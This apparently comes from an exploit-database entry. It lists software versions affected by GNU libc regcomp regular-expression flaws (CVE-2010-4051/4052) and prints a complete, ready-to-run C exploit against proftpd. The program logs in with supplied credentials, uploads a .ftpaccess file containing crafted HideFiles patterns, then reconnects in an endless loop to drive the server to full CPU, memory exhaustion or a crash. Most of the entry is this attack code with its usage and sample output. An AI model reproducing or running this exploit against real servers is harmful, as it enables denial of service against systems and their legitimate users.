vendor: | juniper | model: | junos 12.1x44-d20 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 12.1x44-d15 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos | scope: | eq | version: | 12.1x44 | Trust: 0.3 |
vendor: | juniper | model: | junos 12.1r7-s1 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 12.1r7 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 12.1r6 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 12.1r5-s3 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 12.1r3 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos | scope: | eq | version: | 12.1 | Trust: 0.3 |
vendor: | juniper | model: | junos | scope: | eq | version: | 11.4x27.44 | Trust: 0.3 |
vendor: | juniper | model: | junos | scope: | eq | version: | 11.4x27.43 | Trust: 0.3 |
vendor: | juniper | model: | junos | scope: | eq | version: | 11.4x27 | Trust: 0.3 |
vendor: | juniper | model: | junos 11.4r9 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 11.4r8 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 11.4r7-s2 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 11.4r7-s1 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 11.4r7 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 11.4r6.6 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 11.4r6-s2 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 11.4r5.5 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 11.4r5-s2 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 11.4r3.7 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 11.4r1 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos | scope: | eq | version: | 11.4 | Trust: 0.3 |
vendor: | juniper | model: | junos 11.2r2 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 11.2r1 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos | scope: | eq | version: | 11.2 | Trust: 0.3 |
vendor: | juniper | model: | junos 11.1r5 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 11.1r4 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos | scope: | eq | version: | 11.1 | Trust: 0.3 |
vendor: | juniper | model: | junos 10.4s14 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 10.4r7 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 10.4r6 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 10.4r14 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 10.4r13 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 10.4r11 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos | scope: | eq | version: | 10.4 | Trust: 0.3 |
vendor: | juniper | model: | junos | scope: | eq | version: | 10.3 | Trust: 0.3 |
vendor: | juniper | model: | junos 10.2r3 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 10.2r2 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos | scope: | eq | version: | 10.2 | Trust: 0.3 |
vendor: | juniper | model: | junos | scope: | eq | version: | 10.1 | Trust: 0.3 |
vendor: | juniper | model: | junos 10.0s28 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 10.0s18 | scope: | - | version: | - | Trust: 0.3 |
vendor: | gnu | model: | glibc | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | apple | model: | safari | scope: | eq | version: | 7.0.2 | Trust: 0.3 |
vendor: | juniper | model: | junos 13.3r1 | scope: | ne | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 13.2r2 | scope: | ne | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 13.1r3-s1 | scope: | ne | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 12.3r4 | scope: | ne | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 12.2r6 | scope: | ne | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 12.1x46-d10 | scope: | ne | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 12.1x45-d15 | scope: | ne | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 12.1x44-d25 | scope: | ne | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 12.1r8 | scope: | ne | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 11.4r9-s1 | scope: | ne | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 11.4r10 | scope: | ne | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 10.4s15 | scope: | ne | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 10.4r16 | scope: | ne | version: | - | Trust: 0.3 |
vendor: | pureftpd | model: | pure-ftpd | scope: | eq | version: | 1.0.31 | Trust: 0.3 |
vendor: | pureftpd | model: | pure-ftpd | scope: | eq | version: | 1.0.30 | Trust: 0.3 |
vendor: | pureftpd | model: | pure-ftpd | scope: | eq | version: | 1.0.29 | Trust: 0.3 |
vendor: | openbsd | model: | openbsd | scope: | eq | version: | 4.8 | Trust: 0.3 |
vendor: | openbsd | model: | openbsd | scope: | eq | version: | 4.3 | Trust: 0.3 |
vendor: | openbsd | model: | openbsd | scope: | eq | version: | 4.2 | Trust: 0.3 |
vendor: | openbsd | model: | openbsd | scope: | eq | version: | 4.1 | Trust: 0.3 |
vendor: | openbsd | model: | openbsd | scope: | eq | version: | 4.0 | Trust: 0.3 |
vendor: | netbsd | model: | netbsd | scope: | eq | version: | 5.0.1 | Trust: 0.3 |
vendor: | netbsd | model: | netbsd | scope: | eq | version: | 5.1 | Trust: 0.3 |
vendor: | netbsd | model: | rc3 | scope: | eq | version: | 5.0 | Trust: 0.3 |
vendor: | mandriva | model: | linux mandrake x86 64 | scope: | eq | version: | 2010.1 | Trust: 0.3 |
vendor: | mandriva | model: | linux mandrake | scope: | eq | version: | 2010.1 | Trust: 0.3 |
vendor: | mandriva | model: | linux mandrake x86 64 | scope: | eq | version: | 2009.0 | Trust: 0.3 |
vendor: | mandriva | model: | linux mandrake | scope: | eq | version: | 2009.0 | Trust: 0.3 |
vendor: | mandrakesoft | model: | enterprise server x86 64 | scope: | eq | version: | 5 | Trust: 0.3 |
vendor: | mandrakesoft | model: | enterprise server | scope: | eq | version: | 5 | Trust: 0.3 |
vendor: | mandrakesoft | model: | corporate server x86 64 | scope: | eq | version: | 4.0 | Trust: 0.3 |
vendor: | mandrakesoft | model: | corporate server | scope: | eq | version: | 4.0 | Trust: 0.3 |
vendor: | gentoo | model: | linux | scope: | - | version: | - | Trust: 0.3 |
vendor: | pureftpd | model: | pure-ftpd | scope: | ne | version: | 1.0.32 | Trust: 0.3 |
EXPLOIT
// source: https://www.securityfocus.com/bid/45233/info
GNU glibc is prone to a denial-of-service vulnerability due to stack exhaustion.
Successful exploits will allow attackers to make the affected computer unresponsive, denying service to legitimate users.
This issue affects unknown versions of the glibc library. This BID will be updated when more details become available.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
/*
proftpd multiple exploit for VU#912279 (only with GNU libc/regcomp(3))
by Maksymilian Arciemowicz
References:
http://www.kb.cert.org/vuls/id/912279
http://cxib.net/
http://securityreason.com/
Tested:
Ubuntu + proftpd
This exploit need writing privileges to create .ftpaccess file with vulnerable regular expressions. Works well only under Linux
172.16.124.1 - NetBSD 5.1 (HACKER)
172.16.124.134 - Ubuntu 10.10 (TARGET)
PoC1:
.exitcx@cx64:~/advs/done$ ./reg1 172.16.124.134 21 cx password 172.16.124.1 1
Try create .ftpaccess with HideFiles "(\.ftpaccess|(.*{10,}{10,}{10,}{10,}))$"
...
send: stat .
send: USER cx
PASS password
send: stat .
Can`t connect
.exit
cx@cx64:~/advs/done$ telnet 172.16.124.134 21
Trying 172.16.124.134...
telnet: Unable to connect to remote host: Connection refused
Resume:
- created .ftpaccess file, and connect<=>disconnect
It will create a lot of proftpd children with 100% CPU usage.
If we try
./reg1 172.16.124.134 21 cx password 172.16.124.1 3
any proftpd children will generate memory exhausion
Options:
1 - cpu resource exhausion
2 - crash (recursion)
3 - memory resource exhausion
4 - possible crash with (ulimit {-v|-m})
*/
char expl0[]="HideFiles \"(\\.ftpaccess|(.*{10,}{10,}{10,}{10,}))$\""; //CVE-2010-4052 Long execution
char expl1[]="HideFiles \"(\\.ftpaccess|(.*{10,}{10,}{10,}{10,}{10,}))$\""; //CVE-2010-4051 Crash
char expl2[]="HideFiles \"(.*+++++++++++++++++++++++++++++(\\w+))\""; // memory exhausion
char expl3[]="HideFiles \"(.*++++++++++++++++++++++++++++++(\\w+))\""; // if virtual memory limited, crash
int sendftp(int stream,char *what){
if(-1==send(stream,what,strlen(what),0))
printf("Can't send %s\n",what);
else
printf("send: %s\n",what);
bzero(what,sizeof(what));
}
void readftp(int stream,int flag){
if(flag==1) flag=MSG_DONTWAIT;
else flag=0;
char *readline=malloc(sizeof(char)*(4096+1));
memset(readline,'\x00',(4096+1));
if(recv(stream,readline,4096,flag)<1){
printf("Can't read from stream\n");
if(readline) free(readline);
close(stream);
exit(1);
}
else{
if(readline)
write(1, readline, strlen(readline));
fflush(stdout);
}
free(readline);
}
int attack(host,port,login,pass)
char *host,*port,*login,*pass;
{
char buffer[1024]; // send ftp command buffor
int sockfd,n,error;
struct addrinfo hints;
struct addrinfo *res, *res0;
memset(&hints, 0, sizeof(hints));
hints.ai_family = PF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
error = getaddrinfo(host,port,&hints,&res0);
if (error){
errorcon:
printf("Can`t connect\n.exit");
exit(1);
}
if((sockfd=socket(res0->ai_family,res0->ai_socktype,res0->ai_protocol))<0) goto errorcon;
if(-1==connect(sockfd,res0->ai_addr,res0->ai_addrlen)) goto errorcon;
snprintf(buffer,1024,"USER %s\nPASS %s\n",login,pass);
sendftp(sockfd,buffer);
bzero(buffer,1024);
snprintf(buffer,1024,"STAT .\n");
sendftp(sockfd,buffer);
freeaddrinfo(res0);
close(sockfd);
}
void exploreip(char *ip, int (*ipnum)[4]){
char *wsk;
wsk=(char *)strtok(ip,".");
(*ipnum)[0]=atoi(wsk);
wsk=(char *)strtok(NULL,".");
(*ipnum)[1]=atoi(wsk);
wsk=(char *)strtok(NULL,".");
(*ipnum)[2]=atoi(wsk);
wsk=(char *)strtok(NULL,".");
(*ipnum)[3]=atoi(wsk);
}
int createexpl(host,port,login,pass,lip,pattern)
char *host,*port,*login,*pass,*lip,*pattern;
{
char buffer[1024]; // send ftp command buffor
int ipnum[4];
int sockfd,n,error,sendstream,binarystream,sendport = (1024 + getpid());
struct addrinfo hints;
struct addrinfo *res, *res0;
struct sockaddr_in remo, loca;
int len = sizeof(remo);
memset(&hints, 0, sizeof(hints));
hints.ai_family = PF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
error = getaddrinfo(host,port,&hints,&res0);
if (error){
errorcon:
if(sendstream) close(sendstream);
printf("Can`t connect\n.exit");
exit(1);
}
if((sockfd=socket(res0->ai_family,res0->ai_socktype, res0->ai_protocol))<0) goto errorcon;
if(-1==connect(sockfd,res0->ai_addr,res0->ai_addrlen)) goto errorcon;
readftp(sockfd,1024);
snprintf(buffer,1024,"USER %s\nPASS %s\n",login,pass);
sendftp(sockfd,buffer);
readftp(sockfd,1024);
readftp(sockfd,1024);
exploreip(lip,&ipnum);
snprintf(buffer,1024,"TYPE I\nPORT %d,%d,%d,%d,%d,%d\n",ipnum[0],ipnum[1],ipnum[2],ipnum[3],sendport/256,sendport%256);
sendftp(sockfd,buffer);
readftp(sockfd,1024);
bzero(&loca, sizeof(loca));
loca.sin_family = AF_INET;
loca.sin_port=htons(sendport);
loca.sin_addr.s_addr = htonl(INADDR_ANY);
if((sendstream=socket(AF_INET, SOCK_STREAM,0))<0) goto errorcon;
if((bind(sendstream, (struct sockaddr *) &loca, sizeof(loca)))<0) goto errorcon;
if(listen(sendstream, 10) < 0) goto errorcon;
snprintf(buffer,1024,"STOR .ftpaccess\n");
sendftp(sockfd,buffer);
readftp(sockfd,1024);
if((binarystream=accept(sendstream,(struct sockaddr *)&remo,&len)) < 0) goto errorcon;
write(binarystream,pattern,strlen(pattern));
freeaddrinfo(res0);
close(sendstream);
printf("Created .ftpaccess file with %s\nIt`s time to attack...\n",pattern);
sleep(3);
return 0;
}
void usage(){
printf("Use: ./exploit target_ip port username password [your_ip] [option]\n\nCreate .ftpaccess with selected attack\noptions:\n1 - Long execution CVE-2010-4052\n2 - Recursion Crash CVE-2010-4051\n3 - Memory exhausion \n4 - Crash if virtual memory limited\n\n");
exit(1);
}
int main(int argc,char *argv[])
{
char *login,*pass,*lip=NULL;
char logindef[]="anonymous",passdef[]="cx@127.0.0.1";
printf("This is exploit for ERE (GNU libc)\nby Maksymilian Arciemowicz\n\n");
if(argc<3) usage();
char *host=argv[1];
char *port=argv[2];
if(4<=argc) login=argv[3];
else login=logindef;
if(5<=argc) pass=argv[4];
else pass=passdef;
if(6<=argc) lip=argv[5];
if(7<=argc) switch(atoi(argv[6])){
case 1:
printf("Try create .ftpaccess with %s\n\n",expl0);
createexpl(host,port,login,pass,lip,expl0);
break;
case 2:
printf("Try create .ftpaccess with %s\n\n",expl1);
createexpl(host,port,login,pass,lip,expl1);
break;
case 3:
printf("Try create .ftpaccess with %s\n\n",expl2);
createexpl(host,port,login,pass,lip,expl2);
break;
case 4:
printf("Try create .ftpaccess with %s\n\n",expl3);
createexpl(host,port,login,pass,lip,expl3);
break;
default:
usage();
break;
};
while(1) attack(host,port,login,pass);
return 0; // never happen
}
Trust: 1.0
EXPLOIT LANGUAGE
c
Trust: 0.6
PRICE
free
Trust: 0.6
TYPE
'regcomp()' Stack Exhaustion Denial of Service
Trust: 1.0
TAGS
tag: | exploit | Trust: 3.0 |
tag: | denial of service | Trust: 1.5 |
tag: | proof of concept | Trust: 0.5 |
tag: | remote | Trust: 0.5 |
tag: | overflow | Trust: 0.5 |
tag: | vulnerability | Trust: 0.5 |
CREDITS
Maksymilian Arciemowicz
Trust: 0.6
EXTERNAL IDS
db: | NVD | id: | CVE-2010-4052 | Trust: 5.1 |
db: | CERT/CC | id: | VU#912279 | Trust: 4.1 |
db: | NVD | id: | CVE-2010-2632 | Trust: 3.6 |
db: | NVD | id: | CVE-2010-4051 | Trust: 3.5 |
db: | NVD | id: | CVE-2011-0418 | Trust: 3.1 |
db: | EXPLOIT-DB | id: | 35061 | Trust: 1.9 |
db: | BID | id: | 45233 | Trust: 1.9 |
db: | CXSECURITY | id: | WLB-2010100135 | Trust: 1.8 |
db: | CXSECURITY | id: | WLB-2011050004 | Trust: 1.8 |
db: | JUNIPER | id: | JSA10612 | Trust: 1.4 |
db: | CXSECURITY | id: | WLB-2011030145 | Trust: 1.2 |
db: | NVD | id: | CVE-2011-3336 | Trust: 1.0 |
db: | EDBNET | id: | 78100 | Trust: 0.6 |
db: | EDBNET | id: | 56301 | Trust: 0.6 |
db: | CXSECURITY | id: | WLB-2013010233 | Trust: 0.6 |
db: | CXSECURITY | id: | WLB-2013020003 | Trust: 0.6 |
db: | EDBNET | id: | 75213 | Trust: 0.6 |
db: | EDBNET | id: | 63259 | Trust: 0.6 |
db: | EDBNET | id: | 75724 | Trust: 0.6 |
db: | EDBNET | id: | 81502 | Trust: 0.6 |
db: | PACKETSTORM | id: | 106589 | Trust: 0.5 |
db: | SREASON | id: | 7822 | Trust: 0.5 |
db: | PACKETSTORM | id: | 94556 | Trust: 0.5 |
db: | PACKETSTORM | id: | 120032 | Trust: 0.5 |
db: | CXSECURITY | id: | WLB-2011010121 | Trust: 0.5 |
db: | CXSECURITY | id: | WLB-2011110082 | Trust: 0.5 |
db: | PACKETSTORM | id: | 125725 | Trust: 0.5 |
db: | PACKETSTORM | id: | 97315 | Trust: 0.5 |
db: | NVD | id: | CVE-2010-4754 | Trust: 0.5 |
db: | NVD | id: | CVE-2010-4755 | Trust: 0.5 |
db: | NVD | id: | CVE-2010-4756 | Trust: 0.5 |
db: | PACKETSTORM | id: | 101052 | Trust: 0.5 |
db: | BID | id: | 43819 | Trust: 0.3 |
db: | CXSECURITY | id: | WLB-2014030108 | Trust: 0.3 |
db: | BID | id: | 47671 | Trust: 0.3 |
REFERENCES
url: | https://nvd.nist.gov/vuln/detail/cve-2010-4052 | Trust: 3.1 |
url: | https://www.intelligentexploit.com | Trust: 3.0 |
url: | https://nvd.nist.gov/vuln/detail/cve-2010-4051 | Trust: 1.5 |
url: | https://nvd.nist.gov/vuln/detail/cve-2011-3336 | Trust: 1.0 |
url: | https://nvd.nist.gov/vuln/detail/cve-2010-2632 | Trust: 1.0 |
url: | https://nvd.nist.gov/vuln/detail/cve-2011-0418 | Trust: 1.0 |
url: | https://www.securityfocus.com/bid/45233/info | Trust: 1.0 |
url: | http://www.sun.com/software/solaris/ | Trust: 0.6 |
url: | http://www.openbsd.org | Trust: 0.6 |
url: | http://www.netbsd.org/ | Trust: 0.6 |
url: | http://www.gnu.org/software/libc/ | Trust: 0.6 |
url: | https://www.exploit-db.com/exploits/35061/ | Trust: 0.6 |
url: | http://support.avaya.com/css/p8/documents/100150582 | Trust: 0.3 |
url: | http://support.avaya.com/css/p8/documents/100127892 | Trust: 0.3 |
url: | http://www.freebsd.org/ | Trust: 0.3 |
url: | http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html | Trust: 0.3 |
url: | http://securityreason.com/achievement_securityalert/89 | Trust: 0.3 |
url: | http://cxsecurity.com/issue/wlb-2014030108 | Trust: 0.3 |
url: | https://www.exploit-db.com/exploits/35061 | Trust: 0.3 |
url: | http://www.kb.cert.org/vuls/id/912279 | Trust: 0.3 |
url: | http://kb.juniper.net/infocenter/index?page=content&id=jsa10612 | Trust: 0.3 |
url: | http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gen/glob.c | Trust: 0.3 |
url: | http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gen/glob.c.diff?r1=text&tr1=1.27&r2=text&tr2=1.29 | Trust: 0.3 |
url: | http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gen/glob.c.diff?r1=1.34;r2=1.35;f=h | Trust: 0.3 |
url: | http://www.securityreason.com/achievement_securityalert/97 | Trust: 0.3 |
SOURCES
db: | BID | id: | 43819 |
db: | BID | id: | 45233 |
db: | BID | id: | 47671 |
db: | PACKETSTORM | id: | 106589 |
db: | PACKETSTORM | id: | 94556 |
db: | PACKETSTORM | id: | 120032 |
db: | PACKETSTORM | id: | 125725 |
db: | PACKETSTORM | id: | 97315 |
db: | PACKETSTORM | id: | 101052 |
db: | EXPLOIT-DB | id: | 35061 |
db: | EDBNET | id: | 78100 |
db: | EDBNET | id: | 56301 |
db: | EDBNET | id: | 75213 |
db: | EDBNET | id: | 63259 |
db: | EDBNET | id: | 75724 |
db: | EDBNET | id: | 81502 |
LAST UPDATE DATE
2024-03-21T15:10:28.311000+00:00
SOURCES UPDATE DATE
db: | BID | id: | 43819 | date: | 2013-10-16T01:44:00 |
db: | BID | id: | 45233 | date: | 2015-04-13T22:12:00 |
db: | BID | id: | 47671 | date: | 2015-04-13T21:51:00 |
SOURCES RELEASE DATE
db: | BID | id: | 43819 | date: | 2010-10-06T00:00:00 |
db: | BID | id: | 45233 | date: | 2010-12-07T00:00:00 |
db: | BID | id: | 47671 | date: | 2011-05-02T00:00:00 |
db: | PACKETSTORM | id: | 106589 | date: | 2011-11-04T15:20:33 |
db: | PACKETSTORM | id: | 94556 | date: | 2010-10-08T00:29:28 |
db: | PACKETSTORM | id: | 120032 | date: | 2013-02-02T18:11:11 |
db: | PACKETSTORM | id: | 125725 | date: | 2014-03-14T11:11:11 |
db: | PACKETSTORM | id: | 97315 | date: | 2011-01-07T22:06:47 |
db: | PACKETSTORM | id: | 101052 | date: | 2011-05-03T00:07:21 |
db: | EXPLOIT-DB | id: | 35061 | date: | 2010-12-07T00:00:00 |
db: | EDBNET | id: | 78100 | date: | 2014-03-14T00:00:00 |
db: | EDBNET | id: | 56301 | date: | 2010-12-07T00:00:00 |
db: | EDBNET | id: | 75213 | date: | 2013-02-01T00:00:00 |
db: | EDBNET | id: | 63259 | date: | 2011-11-09T00:00:00 |
db: | EDBNET | id: | 75724 | date: | 2013-04-11T00:00:00 |
db: | EDBNET | id: | 81502 | date: | 2015-09-30T00:00:00 |